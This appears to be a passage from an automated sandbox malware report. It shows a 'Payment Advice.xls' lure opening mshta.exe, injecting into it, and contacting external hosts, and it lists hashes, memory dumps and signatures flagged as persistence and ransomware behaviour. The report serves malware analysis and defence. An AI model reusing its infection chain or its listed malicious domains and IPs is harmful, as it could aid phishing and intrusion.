memory/1032-111-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/1032-109-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1032-101-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1032-105-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/1032-103-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1846800975-3917212583-2893086201-1000\0f5007522459c86e95ffcc62f32308f1_f9da27c9-c625-43c3-9b3a-b1344b01e128

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1846800975-3917212583-2893086201-1000\0f5007522459c86e95ffcc62f32308f1_f9da27c9-c625-43c3-9b3a-b1344b01e128

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-18 17:10

Reported

2024-11-18 17:12

Platform

win10v2004-20241007-en

Max time kernel

143s

Max time network

149s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\mshta.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4584 wrote to memory of 2016 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe
PID 4584 wrote to memory of 2016 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\System32\mshta.exe

Uses Task Scheduler COM API

persistence

Uses Volume Shadow Copy WMI provider

ransomware

Uses Volume Shadow Copy service COM API

ransomware

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payment Advice.xls"

C:\Windows\System32\mshta.exe

C:\Windows\System32\mshta.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 link.uebie.de udp
DE 5.45.108.48:443 link.uebie.de tcp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 48.108.45.5.in-addr.arpa udp
US 8.8.8.8:53 e6.o.lencr.org udp
GB 88.221.134.89:80 e6.o.lencr.org tcp
US 192.3.243.136:80 192.3.243.136 tcp
US 8.8.8.8:53 168.245.100.95.in-addr.arpa udp
US 8.8.8.8:53 89.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 136.243.3.192.in-addr.arpa udp
US 8.8.8.8:53 89.16.208.104.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 92.12.20.2.in-addr.arpa udp
US 8.8.8.8:53 86.49.80.91.in-addr.arpa udp
US 8.8.8.8:53 11.227.111.52.in-addr.arpa udp

Files

memory/4584-1-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp

memory/4584-0-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp

memory/4584-3-0x00007FFC4C48D000-0x00007FFC4C48E000-memory.dmp

memory/4584-2-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp

memory/4584-4-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp

memory/4584-7-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-6-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-8-0x00007FFC0C470000-0x00007FFC0C480000-memory.dmp

memory/4584-5-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-9-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-11-0x00007FFC0A200000-0x00007FFC0A210000-memory.dmp

memory/4584-13-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-12-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-10-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-14-0x00007FFC0A200000-0x00007FFC0A210000-memory.dmp

memory/4584-20-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-19-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-18-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-17-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-16-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-15-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/2016-40-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/2016-43-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/2016-45-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/2016-44-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/2016-46-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/4584-48-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/2016-52-0x00007FFC4C3F0000-0x00007FFC4C5E5000-memory.dmp

memory/2016-53-0x00007FF7AB380000-0x00007FF7AB388000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 5f85afc9fdba54aa709530957d864f4c
SHA1 ce961fcdbb037aa6e61f0f7ada6a832d38f8c264
SHA256 85544a90b8302082533205f0eaa3283282f91618211fa8ba002c3245a8155c1a
SHA512 237a2ad5c31cbe534b931b76ee527aac482472eb94f4877d03471e88b24374e8890391854ea7f042a64e5d91fc7171e9e0f219c5cb34109ff486cd46a642d6f9